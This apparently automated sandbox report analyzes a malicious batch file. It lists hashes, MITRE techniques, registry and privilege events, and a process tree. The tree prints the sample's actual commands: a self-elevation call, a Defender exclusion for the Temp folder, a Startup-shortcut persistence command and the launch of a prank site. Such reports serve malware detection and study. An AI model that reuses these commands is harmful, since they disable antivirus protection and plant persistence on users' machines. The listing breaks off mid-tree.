cac71eea42012306a88c5bdf616a31bfbb8debe17472eda80a935f42607e2414

Analysis

user interaction
yes
max time kernel
29s
max time network
897s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/08/2026, 16:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
VortexVr.bat
Size 39KB
Sample260818-tmkfkaab39
SHA256 cac71eea42012306a88c5bdf616a31bfbb8debe17472eda80a935f42607e2414
MD5 ccf00f8b3ef45ce69000b73a3a239d7f
SHA1 9891b1b6fd1f9150f899e3e501b755b9dcbf5274
SHA512 286126145c1620028688a643d4d148c130a77374130e8f3a687825e1eaad1e65aa59e966136a703171821c6639bff0e3dec16246fcceaf40a2d26e684b178e6c
SSDEEP 768:Paa7Zaa7jaa7Haa7/aa7paa7Zaa7jaa7Haa7/aa7paa7Zaa7jaa7Haa7/aa7paaD:PfZfjfHf/fpfZfjfHf/fpfZfjfHf/fpv
TLSH
T18903CE39EB78A8D043BE749C8A533E4514CA1D23D7B9AA5CF941089B1CAC785EB774CC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4240	powershell.exe
4084	powershell.exe
5792	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1924	cmd.exe
4416	cmd.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2052	chrome.exe
3312	msedge.exe

Checks processor information in registry 2 TTPs 37 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
3760	powershell.exe
3760	powershell.exe
4240	powershell.exe
4240	powershell.exe
5792	powershell.exe
5792	powershell.exe
4576	powershell.exe
5112	powershell.exe
5112	powershell.exe
1444	chrome.exe
1444	chrome.exe
1748	powershell.exe
1748	powershell.exe
4332	powershell.exe
4332	powershell.exe
1244	powershell.exe
1244	powershell.exe
6788	powershell.exe
6788	powershell.exe
6984	powershell.exe
6984	powershell.exe
7136	powershell.exe
7136	powershell.exe
7544	powershell.exe
7544	powershell.exe
7604	powershell.exe
7604	powershell.exe
7768	powershell.exe
7768	powershell.exe
6892	powershell.exe
6892	powershell.exe
2380	powershell.exe
2380	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
1444	chrome.exe
1444	chrome.exe
5268	msedge.exe
5268	msedge.exe
5268	msedge.exe
5268	msedge.exe
1444	chrome.exe
5268	msedge.exe
1444	chrome.exe
5268	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	4240	powershell.exe
Token: SeIncreaseQuotaPrivilege	4240	powershell.exe
Token: SeSecurityPrivilege	4240	powershell.exe
Token: SeTakeOwnershipPrivilege	4240	powershell.exe
Token: SeLoadDriverPrivilege	4240	powershell.exe
Token: SeSystemProfilePrivilege	4240	powershell.exe
Token: SeSystemtimePrivilege	4240	powershell.exe
Token: SeProfSingleProcessPrivilege	4240	powershell.exe
Token: SeIncBasePriorityPrivilege	4240	powershell.exe
Token: SeCreatePagefilePrivilege	4240	powershell.exe
Token: SeBackupPrivilege	4240	powershell.exe
Token: SeRestorePrivilege	4240	powershell.exe
Token: SeShutdownPrivilege	4240	powershell.exe
Token: SeDebugPrivilege	4240	powershell.exe
Token: SeSystemEnvironmentPrivilege	4240	powershell.exe
Token: SeRemoteShutdownPrivilege	4240	powershell.exe
Token: SeUndockPrivilege	4240	powershell.exe
Token: SeManageVolumePrivilege	4240	powershell.exe
Token: 33	4240	powershell.exe
Token: 34	4240	powershell.exe
Token: 35	4240	powershell.exe
Token: 36	4240	powershell.exe
Token: SeDebugPrivilege	5792	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	5112	powershell.exe
Token: SeShutdownPrivilege	1444	chrome.exe
Token: SeCreatePagefilePrivilege	1444	chrome.exe
Token: SeDebugPrivilege	1748	powershell.exe
Token: SeShutdownPrivilege	1444	chrome.exe
Token: SeCreatePagefilePrivilege	1444	chrome.exe
Token: SeShutdownPrivilege	1444	chrome.exe
Token: SeCreatePagefilePrivilege	1444	chrome.exe
Token: SeShutdownPrivilege	1444	chrome.exe
Token: SeCreatePagefilePrivilege	1444	chrome.exe
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeShutdownPrivilege	1444	chrome.exe
Token: SeCreatePagefilePrivilege	1444	chrome.exe
Token: SeDebugPrivilege	1244	powershell.exe
Token: SeShutdownPrivilege	1444	chrome.exe
Token: SeCreatePagefilePrivilege	1444	chrome.exe
Token: SeShutdownPrivilege	1444	chrome.exe
Token: SeCreatePagefilePrivilege	1444	chrome.exe
Token: SeDebugPrivilege	6788	powershell.exe
Token: SeShutdownPrivilege	1444	chrome.exe
Token: SeCreatePagefilePrivilege	1444	chrome.exe
Token: SeDebugPrivilege	4104	firefox.exe
Token: SeDebugPrivilege	4104	firefox.exe
Token: SeShutdownPrivilege	1444	chrome.exe
Token: SeCreatePagefilePrivilege	1444	chrome.exe
Token: SeDebugPrivilege	6984	powershell.exe
Token: SeShutdownPrivilege	1444	chrome.exe
Token: SeCreatePagefilePrivilege	1444	chrome.exe
Token: SeDebugPrivilege	7136	powershell.exe
Token: SeShutdownPrivilege	1444	chrome.exe
Token: SeCreatePagefilePrivilege	1444	chrome.exe
Token: SeShutdownPrivilege	1444	chrome.exe
Token: SeCreatePagefilePrivilege	1444	chrome.exe
Token: SeDebugPrivilege	7544	powershell.exe
Token: SeDebugPrivilege	7604	powershell.exe
Token: SeDebugPrivilege	7768	powershell.exe
Token: SeShutdownPrivilege	1444	chrome.exe
Token: SeCreatePagefilePrivilege	1444	chrome.exe
Token: SeDebugPrivilege	6892	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
5268	msedge.exe
4104	firefox.exe
4104	firefox.exe
4104	firefox.exe
4104	firefox.exe
4104	firefox.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe

Suspicious use of SendNotifyMessage 48 IoCs

pid	Process
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe
1444	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4104	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4416 wrote to memory of 3760	4416	cmd.exe	90
PID 3760 wrote to memory of 1924	3760	powershell.exe	91
PID 1924 wrote to memory of 4240	1924	cmd.exe	93
PID 1924 wrote to memory of 5792	1924	cmd.exe	122
PID 1924 wrote to memory of 2380	1924	cmd.exe	160
PID 1924 wrote to memory of 1444	1924	cmd.exe	97
PID 1924 wrote to memory of 4576	1924	cmd.exe	179
PID 1444 wrote to memory of 4124	1444	chrome.exe	99
PID 1924 wrote to memory of 5268	1924	cmd.exe	100
PID 1924 wrote to memory of 5112	1924	cmd.exe	101
PID 1444 wrote to memory of 4540	1444	chrome.exe	102
PID 1444 wrote to memory of 4540	1444	chrome.exe	102
PID 1444 wrote to memory of 2052	1444	chrome.exe	103
PID 1444 wrote to memory of 2196	1444	chrome.exe	104
PID 1444 wrote to memory of 2196	1444	chrome.exe	104
PID 5268 wrote to memory of 5500	5268	msedge.exe	105
PID 1444 wrote to memory of 3560	1444	chrome.exe	107
PID 1444 wrote to memory of 3560	1444	chrome.exe	107
PID 1444 wrote to memory of 5172	1444	chrome.exe	108
PID 1444 wrote to memory of 5172	1444	chrome.exe	108
PID 1924 wrote to memory of 1208	1924	cmd.exe	109
PID 1924 wrote to memory of 1748	1924	cmd.exe	110
PID 1208 wrote to memory of 4104	1208	firefox.exe	111
PID 1208 wrote to memory of 4104	1208	firefox.exe	111
PID 5268 wrote to memory of 4904	5268	msedge.exe	112
PID 5268 wrote to memory of 3312	5268	msedge.exe	113
PID 5268 wrote to memory of 4904	5268	msedge.exe	112
PID 5268 wrote to memory of 4904	5268	msedge.exe	112
PID 5268 wrote to memory of 5832	5268	msedge.exe	114
PID 5268 wrote to memory of 5832	5268	msedge.exe	114
PID 1444 wrote to memory of 2280	1444	chrome.exe	116
PID 1444 wrote to memory of 2280	1444	chrome.exe	116
PID 5268 wrote to memory of 2988	5268	msedge.exe	117
PID 5268 wrote to memory of 2988	5268	msedge.exe	117
PID 5268 wrote to memory of 2988	5268	msedge.exe	117
PID 5268 wrote to memory of 5324	5268	msedge.exe	118
PID 5268 wrote to memory of 5324	5268	msedge.exe	118
PID 5268 wrote to memory of 5324	5268	msedge.exe	118
PID 5268 wrote to memory of 2388	5268	msedge.exe	119
PID 5268 wrote to memory of 2388	5268	msedge.exe	119
PID 5268 wrote to memory of 2388	5268	msedge.exe	119
PID 5268 wrote to memory of 3136	5268	msedge.exe	120
PID 5268 wrote to memory of 3136	5268	msedge.exe	120
PID 5268 wrote to memory of 3136	5268	msedge.exe	120
PID 4104 wrote to memory of 4824	4104	firefox.exe	121
PID 4104 wrote to memory of 4824	4104	firefox.exe	121
PID 4104 wrote to memory of 4824	4104	firefox.exe	121
PID 1444 wrote to memory of 5792	1444	chrome.exe	122
PID 1444 wrote to memory of 5792	1444	chrome.exe	122
PID 5268 wrote to memory of 868	5268	msedge.exe	124
PID 5268 wrote to memory of 868	5268	msedge.exe	124
PID 4104 wrote to memory of 5960	4104	firefox.exe	125
PID 4104 wrote to memory of 5960	4104	firefox.exe	125
PID 4104 wrote to memory of 5960	4104	firefox.exe	125
PID 4104 wrote to memory of 5960	4104	firefox.exe	125
PID 1924 wrote to memory of 4332	1924	cmd.exe	126
PID 5268 wrote to memory of 3476	5268	msedge.exe	127
PID 5268 wrote to memory of 3476	5268	msedge.exe	127
PID 5268 wrote to memory of 1176	5268	msedge.exe	128
PID 5268 wrote to memory of 5448	5268	msedge.exe	129
PID 5268 wrote to memory of 1176	5268	msedge.exe	128
PID 5268 wrote to memory of 5448	5268	msedge.exe	129
PID 1924 wrote to memory of 1244	1924	cmd.exe	130
PID 4104 wrote to memory of 3616	4104	firefox.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell start -verb runas 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat' am_admin
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat" am_admin
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1924
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4240
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk'); $Shortcut.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat'; $Shortcut.Save()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Creates a file in the Startup directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5792
  - - C:\Windows\system32\where.exe
      where chrome
      4⤵
      PID:2380
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:1444
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffe701ac728,0x7ffe701ac734,0x7ffe701ac740
        5⤵
        
        PID:4124
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1632,i,12472478620872330724,12125287934844076902,262144 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=1928 /prefetch:2
        5⤵
        
        PID:4540
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1480,i,3169922271724858405,9039204983084786399,524288 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=2200 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:2052
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2308,i,3019015719078867209,10677729574416763072,524288 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=2736 /prefetch:13
        5⤵
        
        PID:2196
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3212,i,4292479504454484507,14414651530394527834,2097152 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:1
        5⤵
        
        PID:3560
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3228,i,179872608187166251,4197355582736362723,2097152 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=3248 /prefetch:1
        5⤵
        
        PID:5172
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4644,i,12440267636276463352,7099500679660107414,524288 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:14
        5⤵
        
        PID:2280
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4848,i,6360472832840474587,6928423317196350086,524288 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:12
        5⤵
        
        PID:5792
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5480,i,18158747329093889534,3658972051102305615,2097152 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:1
        5⤵
        
        PID:7328
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4800,i,7311314502001476032,16427664377625454911,2097152 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=4700 /prefetch:1
        5⤵
        
        PID:7960
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5772,i,2285987610940173648,18369826525521130159,2097152 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=5784 /prefetch:1
        5⤵
        
        PID:6276
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5976,i,2064576641472309688,18171617252122545675,524288 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=5980 /prefetch:14
        5⤵
        
        PID:4576
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=6172,i,15148884543058165483,679120885259077477,2097152 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=6240 /prefetch:1
        5⤵
        
        PID:7048
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6208,i,1421488102120407356,5083043613330348143,2097152 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=6260 /prefetch:1
        5⤵
        
        PID:7576
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6280,i,10070688756175423461,3636987127453002064,2097152 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=6256 /prefetch:1
        5⤵
        
        PID:8952
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
